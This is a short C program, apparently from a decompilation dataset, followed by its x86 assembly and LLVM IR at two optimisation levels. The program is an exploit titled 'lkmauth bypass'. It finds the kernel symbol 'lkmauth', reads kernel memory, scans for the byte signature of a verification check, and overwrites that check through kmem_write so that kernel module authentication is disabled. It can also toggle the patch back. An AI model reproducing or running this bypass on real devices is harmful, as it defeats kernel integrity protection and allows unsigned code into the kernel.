#define NULL ((void *)0)
typedef unsigned long size_t; // Customize by platform.
typedef long intptr_t;
typedef unsigned long uintptr_t;
typedef long scalar_t__; // Either arithmetic or pointer type.
/* By default, we understand bool (as a convenience). */
typedef int bool;
#define false 0
#define true 1

/* Forward declarations */

/* Type definitions */

/* Variables and functions */
unsigned long get_kernel_sym(char *);
scalar_t__ kmem_read(unsigned long, unsigned char *, int);
int /*<<< orphan*/ kmem_write(unsigned long, char *, int);
int /*<<< orphan*/ memcmp(unsigned char *, char *, int);
int /*<<< orphan*/ printf(char *, ...);
int main(int ac, char **av) {
  int rc = -1, i;
  unsigned char buf[512];
  unsigned long addr;
  printf("lkmauth bypass go go\n");
  addr = get_kernel_sym("lkmauth");
  if (!addr) {
    printf("ERROR: get_kernel_sym(\"lkmauth\")\n");
    goto cleanup;
  }
  printf("lkmauth resolved to: 0x%X\n", addr);
  if (kmem_read(addr, buf, 512)) {
    printf("ERROR: kmem_read()\n");
    goto cleanup;
  }
  printf("read %d (0x%X) bytes\n", 512, 512);
  printf("scanning for check\n");
  for (i = 0; i < (512 - 12); i += 4) {
    if (!memcmp(buf + i, "\x44\x11\x98\xe5\x00\x00\x51\xe3", 8) &&
        buf[i + 11] == 0x1A) {
      printf("detected unpatched version at lkmauth+0x%X, patching...\n", i);
      kmem_write(addr + i + 8, "\x00\x00\x00\x00", 4);
      break;
    }
    if (!memcmp(buf + i, "\x44\x11\x98\xe5\x00\x00\x51\xe3\x00\x00\x00\x00",
                12)) {
      printf("detected patched version at lkmauth+0x%X, unpatching...\n", i);
      kmem_write(addr + i + 8, "\x02\x00\x00\x1a", 4);
      break;
    }
  }
  if (i >= (512 - 12)) {
    printf("ERROR: never found patch location\n");
    goto cleanup;
  }
  rc = 0;
cleanup:
  return rc;
}


x86 assembly (clang, -O0):
<main>:
push   %rbp
mov    %rsp,%rbp
sub    $0x230,%rsp
movl   $0x0,-0x4(%rbp)
mov    %edi,-0x8(%rbp)
mov    %rsi,-0x10(%rbp)
movl   $0xffffffff,-0x14(%rbp)
lea    0xe89(%rip),%rdi
mov    $0x0,%al
call   1030 <printf@plt>
lea    0xe91(%rip),%rdi
call   1060 <get_kernel_sym@plt>
mov    %rax,-0x228(%rbp)
cmpq   $0x0,-0x228(%rbp)
jne    11b2 <main+0x62>
lea    0xe78(%rip),%rdi
mov    $0x0,%al
call   1030 <printf@plt>
jmp    1348 <main+0x1f8>
mov    -0x228(%rbp),%rsi
lea    0xe80(%rip),%rdi
mov    $0x0,%al
call   1030 <printf@plt>
mov    -0x228(%rbp),%rdi
lea    -0x220(%rbp),%rsi
mov    $0x200,%edx
call   1070 <kmem_read@plt>
cmp    $0x0,%rax
je     11fc <main+0xac>
lea    0xe6b(%rip),%rdi
mov    $0x0,%al
call   1030 <printf@plt>
jmp    1348 <main+0x1f8>
lea    0xe6c(%rip),%rdi
mov    $0x200,%edx
mov    %edx,%esi
mov    $0x0,%al
call   1030 <printf@plt>
lea    0xe6d(%rip),%rdi
mov    $0x0,%al
call   1030 <printf@plt>
movl   $0x0,-0x18(%rbp)
cmpl   $0x1f4,-0x18(%rbp)
jge    1321 <main+0x1d1>
lea    -0x220(%rbp),%rdi
movslq -0x18(%rbp),%rax
add    %rax,%rdi
lea    0xee6(%rip),%rsi
mov    $0x8,%edx
call   1040 <memcmp@plt>
cmp    $0x0,%eax
jne    12ad <main+0x15d>
mov    -0x18(%rbp),%eax
add    $0xb,%eax
cltq
movzbl -0x220(%rbp,%rax,1),%eax
ff
cmp    $0x1a,%eax
jne    12ad <main+0x15d>
mov    -0x18(%rbp),%esi
lea    0xe1b(%rip),%rdi
mov    $0x0,%al
call   1030 <printf@plt>
mov    -0x228(%rbp),%rdi
movslq -0x18(%rbp),%rax
add    %rax,%rdi
add    $0x8,%rdi
lea    0xe99(%rip),%rsi
mov    $0x4,%edx
call   1050 <kmem_write@plt>
jmp    1321 <main+0x1d1>
lea    -0x220(%rbp),%rdi
movslq -0x18(%rbp),%rax
add    %rax,%rdi
lea    0xe7a(%rip),%rsi
mov    $0xc,%edx
call   1040 <memcmp@plt>
cmp    $0x0,%eax
jne    130e <main+0x1be>
mov    -0x18(%rbp),%esi
lea    0xdf3(%rip),%rdi
mov    $0x0,%al
call   1030 <printf@plt>
mov    -0x228(%rbp),%rdi
movslq -0x18(%rbp),%rax
add    %rax,%rdi
add    $0x8,%rdi
lea    0xe4a(%rip),%rsi
mov    $0x4,%edx
call   1050 <kmem_write@plt>
jmp    1321 <main+0x1d1>
jmp    1313 <main+0x1c3>
mov    -0x18(%rbp),%eax
add    $0x4,%eax
mov    %eax,-0x18(%rbp)
jmp    1226 <main+0xd6>
cmpl   $0x1f4,-0x18(%rbp)
jl     1341 <main+0x1f1>
lea    0xdd6(%rip),%rdi
mov    $0x0,%al
call   1030 <printf@plt>
jmp    1348 <main+0x1f8>
movl   $0x0,-0x14(%rbp)
mov    -0x14(%rbp),%eax
add    $0x230,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<main>:
push   %rbp
push   %r15
push   %r14
push   %r12
push   %rbx
sub    $0x200,%rsp
lea    0xf35(%rip),%rdi
call   1030 <puts@plt>
lea    0xe7e(%rip),%rdi
call   1070 <get_kernel_sym@plt>
test   %rax,%rax
je     11c1 <main+0x61>
mov    %rax,%r14
lea    0xe72(%rip),%rdi
mov    %rax,%rsi
xor    %eax,%eax
call   1040 <printf@plt>
mov    %rsp,%rsi
mov    %r14,%rdi
mov    $0x200,%edx
call   1080 <kmem_read@plt>
test   %rax,%rax
je     11cd <main+0x6d>
lea    0xf5a(%rip),%rdi
jmp    125a <main+0xfa>
lea    0xef8(%rip),%rdi
jmp    125a <main+0xfa>
lea    0xe4f(%rip),%rdi
xor    %ebx,%ebx
mov    $0x200,%esi
mov    $0x200,%edx
xor    %eax,%eax
call   1040 <printf@plt>
lea    0xef3(%rip),%rdi
call   1030 <puts@plt>
lea    0xf2f(%rip),%r15
lea    0xf36(%rip),%r12
cs nopw 0x0(%rax,%rax,1)
nopl   0x0(%rax,%rax,1)
lea    (%rsp,%rbx,1),%rbp
mov    %rbp,%rdi
mov    %r15,%rsi
mov    $0x8,%edx
call   1050 <memcmp@plt>
test   %eax,%eax
jne    122f <main+0xcf>
cmpb   $0x1a,0xb(%rsp,%rbx,1)
je     1299 <main+0x139>
mov    %rbp,%rdi
mov    %r12,%rsi
mov    $0xc,%edx
call   1050 <memcmp@plt>
test   %eax,%eax
je     1276 <main+0x116>
lea    0x4(%rbx),%rax
cmp    $0x1f0,%rbx
mov    %rax,%rbx
jb     1210 <main+0xb0>
lea    0xe9a(%rip),%rdi
call   1030 <puts@plt>
mov    $0xffffffff,%ebp
mov    %ebp,%eax
add    $0x200,%rsp
pop    %rbx
pop    %r12
pop    %r14
pop    %r15
pop    %rbp
ret
lea    0xdf5(%rip),%rdi
xor    %ebp,%ebp
mov    %ebx,%esi
xor    %eax,%eax
call   1040 <printf@plt>
lea    (%r14,%rbx,1),%rdi
add    $0x8,%rdi
lea    0xead(%rip),%rsi
jmp    12ba <main+0x15a>
lea    0xd99(%rip),%rdi
xor    %ebp,%ebp
mov    %ebx,%esi
xor    %eax,%eax
call   1040 <printf@plt>
lea    (%r14,%rbx,1),%rdi
add    $0x8,%rdi
lea    0xe78(%rip),%rsi
mov    $0x4,%edx
call   1060 <kmem_write@plt>
jmp    1264 <main+0x104>

LLVM IR (-O0):
@.str = [22 x i8] c"lkmauth bypass go go\0A\00"
@.str.1 = [8 x i8] c"lkmauth\00"
@.str.2 = [34 x i8] c"ERROR: get_kernel_sym(\22lkmauth\22)\0A\00"
@.str.3 = [27 x i8] c"lkmauth resolved to: 0x%X\0A\00"
@.str.4 = [20 x i8] c"ERROR: kmem_read()\0A\00"
@.str.5 = [22 x i8] c"read %d (0x%X) bytes\0A\00"
@.str.6 = [20 x i8] c"scanning for check\0A\00"
@.str.7 = [9 x i8] c"D\11\98\E5\00\00Q\E3\00"
@.str.8 = [57 x i8] c"detected unpatched version at lkmauth+0x%X, patching...\0A\00"
@.str.9 = [5 x i8] zeroinitializer
@.str.10 = [13 x i8] c"D\11\98\E5\00\00Q\E3\00\00\00\00\00"
@.str.11 = [57 x i8] c"detected patched version at lkmauth+0x%X, unpatching...\0A\00"
@.str.12 = [5 x i8] c"\02\00\00\1A\00"
@.str.13 = [35 x i8] c"ERROR: never found patch location\0A\00"
define i32 @main(i32 %0, i8** %1) {
%3 = alloca i32
%4 = alloca i32
%5 = alloca i8**
%6 = alloca i32
%7 = alloca i32
%8 = alloca [512 x i8]
%9 = alloca i64
store i32 0, i32* %3
store i32 %0, i32* %4
store i8** %1, i8*** %5
store i32 -1, i32* %6
%10 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([22 x i8], [22 x i8]* @.str, i64 0, i64 0))
%11 = call i64 @get_kernel_sym(i8* getelementptr inbounds ([8 x i8], [8 x i8]* @.str.1, i64 0, i64 0))
store i64 %11, i64* %9
%12 = load i64, i64* %9
%13 = icmp ne i64 %12, 0
br i1 %13, label %16, label %14
14: ; preds = %2
%15 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([34 x i8], [34 x i8]* @.str.2, i64 0, i64 0))
br label %81
16: ; preds = %2
%17 = load i64, i64* %9
%18 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([27 x i8], [27 x i8]* @.str.3, i64 0, i64 0), i64 %17)
%19 = load i64, i64* %9
%20 = getelementptr inbounds [512 x i8], [512 x i8]* %8, i64 0, i64 0
%21 = call i64 @kmem_read(i64 %19, i8* %20, i32 512)
%22 = icmp ne i64 %21, 0
br i1 %22, label %23, label %25
23: ; preds = %16
%24 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([20 x i8], [20 x i8]* @.str.4, i64 0, i64 0))
br label %81
25: ; preds = %16
%26 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([22 x i8], [22 x i8]* @.str.5, i64 0, i64 0), i32 512, i32 512)
%27 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([20 x i8], [20 x i8]* @.str.6, i64 0, i64 0))
store i32 0, i32* %7
br label %28
28: ; preds = %72, %25
%29 = load i32, i32* %7
%30 = icmp slt i32 %29, 500
br i1 %30, label %31, label %75
31: ; preds = %28
%32 = getelementptr inbounds [512 x i8], [512 x i8]* %8, i64 0, i64 0
%33 = load i32, i32* %7
%34 = sext i32 %33 to i64
%35 = getelementptr inbounds i8, i8* %32, i64 %34
%36 = call i32 @memcmp(i8* %35, i8* getelementptr inbounds ([9 x i8], [9 x i8]* @.str.7, i64 0, i64 0), i32 8)
%37 = icmp ne i32 %36, 0
br i1 %37, label %55, label %38
38: ; preds = %31
%39 = load i32, i32* %7
%40 = add nsw i32 %39, 11
%41 = sext i32 %40 to i64
%42 = getelementptr inbounds [512 x i8], [512 x i8]* %8, i64 0, i64 %41
%43 = load i8, i8* %42
%44 = zext i8 %43 to i32
%45 = icmp eq i32 %44, 26
br i1 %45, label %46, label %55
46: ; preds = %38
%47 = load i32, i32* %7
%48 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([57 x i8], [57 x i8]* @.str.8, i64 0, i64 0), i32 %47)
%49 = load i64, i64* %9
%50 = load i32, i32* %7
%51 = sext i32 %50 to i64
%52 = add i64 %49, %51
%53 = add i64 %52, 8
%54 = call i32 @kmem_write(i64 %53, i8* getelementptr inbounds ([5 x i8], [5 x i8]* @.str.9, i64 0, i64 0), i32 4)
br label %75
55: ; preds = %38, %31
%56 = getelementptr inbounds [512 x i8], [512 x i8]* %8, i64 0, i64 0
%57 = load i32, i32* %7
%58 = sext i32 %57 to i64
%59 = getelementptr inbounds i8, i8* %56, i64 %58
%60 = call i32 @memcmp(i8* %59, i8* getelementptr inbounds ([13 x i8], [13 x i8]* @.str.10, i64 0, i64 0), i32 12)
%61 = icmp ne i32 %60, 0
br i1 %61, label %71, label %62
62: ; preds = %55
%63 = load i32, i32* %7
%64 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([57 x i8], [57 x i8]* @.str.11, i64 0, i64 0), i32 %63)
%65 = load i64, i64* %9
%66 = load i32, i32* %7
%67 = sext i32 %66 to i64
%68 = add i64 %65, %67
%69 = add i64 %68, 8
%70 = call i32 @kmem_write(i64 %69, i8* getelementptr inbounds ([5 x i8], [5 x i8]* @.str.12, i64 0, i64 0), i32 4)
br label %75
71: ; preds = %55
br label %72
72: ; preds = %71
%73 = load i32, i32* %7
%74 = add nsw i32 %73, 4
store i32 %74, i32* %7
br label %28
75: ; preds = %62, %46, %28
%76 = load i32, i32* %7
%77 = icmp sge i32 %76, 500
br i1 %77, label %78, label %80
78: ; preds = %75
%79 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([35 x i8], [35 x i8]* @.str.13, i64 0, i64 0))
br label %81
80: ; preds = %75
store i32 0, i32* %6
br label %81
81: ; preds = %80, %78, %23, %14
%82 = load i32, i32* %6
ret i32 %82
}

LLVM IR (-O2):
@.str.1 = [8 x i8] c"lkmauth\00"
@.str.3 = [27 x i8] c"lkmauth resolved to: 0x%X\0A\00"
@.str.5 = [22 x i8] c"read %d (0x%X) bytes\0A\00"
@.str.7 = [9 x i8] c"D\11\98\E5\00\00Q\E3\00"
@.str.8 = [57 x i8] c"detected unpatched version at lkmauth+0x%X, patching...\0A\00"
@.str.9 = [5 x i8] zeroinitializer
@.str.10 = [13 x i8] c"D\11\98\E5\00\00Q\E3\00\00\00\00\00"
@.str.11 = [57 x i8] c"detected patched version at lkmauth+0x%X, unpatching...\0A\00"
@.str.12 = [5 x i8] c"\02\00\00\1A\00"
@str = [21 x i8] c"lkmauth bypass go go\00"
@str.14 = [33 x i8] c"ERROR: get_kernel_sym(\22lkmauth\22)\00"
@str.15 = [19 x i8] c"scanning for check\00"
@str.16 = [34 x i8] c"ERROR: never found patch location\00"
@str.17 = [19 x i8] c"ERROR: kmem_read()\00"
define i32 @main(i32 %0, i8** nocapture readnone %1) {
%3 = alloca [512 x i8]
%4 = getelementptr inbounds [512 x i8], [512 x i8]* %3, i64 0, i64 0
%5 = tail call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([21 x i8], [21 x i8]* @str, i64 0, i64 0))
%6 = tail call i64 @get_kernel_sym(i8* getelementptr inbounds ([8 x i8], [8 x i8]* @.str.1, i64 0, i64 0))
%7 = icmp eq i64 %6, 0
br i1 %7, label %8, label %10
8: ; preds = %2
%9 = tail call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([33 x i8], [33 x i8]* @str.14, i64 0, i64 0))
br label %51
10: ; preds = %2
%11 = tail call i32 (i8*, ...) @printf(i8* dereferenceable(1) getelementptr inbounds ([27 x i8], [27 x i8]* @.str.3, i64 0, i64 0), i64 %6)
%12 = call i64 @kmem_read(i64 %6, i8* %4, i32 512)
%13 = icmp eq i64 %12, 0
br i1 %13, label %16, label %14
14: ; preds = %10
%15 = call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([19 x i8], [19 x i8]* @str.17, i64 0, i64 0))
br label %51
16: ; preds = %10
%17 = call i32 (i8*, ...) @printf(i8* dereferenceable(1) getelementptr inbounds ([22 x i8], [22 x i8]* @.str.5, i64 0, i64 0), i32 512, i32 512)
%18 = call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([19 x i8], [19 x i8]* @str.15, i64 0, i64 0))
br label %19
19: ; preds = %16, %46
%20 = phi i64 [ 0, %16 ], [ %47, %46 ]
%21 = getelementptr inbounds [512 x i8], [512 x i8]* %3, i64 0, i64 %20
%22 = call i32 @memcmp(i8* %21, i8* getelementptr inbounds ([9 x i8], [9 x i8]* @.str.7, i64 0, i64 0), i32 8)
%23 = icmp eq i32 %22, 0
br i1 %23, label %24, label %36
24: ; preds = %19
%25 = add nuw nsw i64 %20, 11
%26 = getelementptr inbounds [512 x i8], [512 x i8]* %3, i64 0, i64 %25
%27 = load i8, i8* %26
%28 = icmp eq i8 %27, 26
br i1 %28, label %29, label %36
29: ; preds = %24
%30 = trunc i64 %20 to i32
%31 = and i64 %20, 4294967292
%32 = call i32 (i8*, ...) @printf(i8* dereferenceable(1) getelementptr inbounds ([57 x i8], [57 x i8]* @.str.8, i64 0, i64 0), i32 %30)
%33 = add i64 %6, 8
%34 = add i64 %33, %31
%35 = call i32 @kmem_write(i64 %34, i8* getelementptr inbounds ([5 x i8], [5 x i8]* @.str.9, i64 0, i64 0), i32 4)
br label %51
36: ; preds = %24, %19
%37 = call i32 @memcmp(i8* %21, i8* getelementptr inbounds ([13 x i8], [13 x i8]* @.str.10, i64 0, i64 0), i32 12)
%38 = icmp eq i32 %37, 0
br i1 %38, label %39, label %46
39: ; preds = %36
%40 = trunc i64 %20 to i32
%41 = and i64 %20, 4294967292
%42 = call i32 (i8*, ...) @printf(i8* dereferenceable(1) getelementptr inbounds ([57 x i8], [57 x i8]* @.str.11, i64 0, i64 0), i32 %40)
%43 = add i64 %6, 8
%44 = add i64 %43, %41
%45 = call i32 @kmem_write(i64 %44, i8* getelementptr inbounds ([5 x i8], [5 x i8]* @.str.12, i64 0, i64 0), i32 4)
br label %51
46: ; preds = %36
%47 = add nuw nsw i64 %20, 4
%48 = icmp ult i64 %20, 496
br i1 %48, label %19, label %49
49: ; preds = %46
%50 = call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([34 x i8], [34 x i8]* @str.16, i64 0, i64 0))
br label %51
51: ; preds = %29, %39, %49, %14, %8
%52 = phi i32 [ -1, %14 ], [ -1, %49 ], [ -1, %8 ], [ 0, %39 ], [ 0, %29 ]
ret i32 %52
}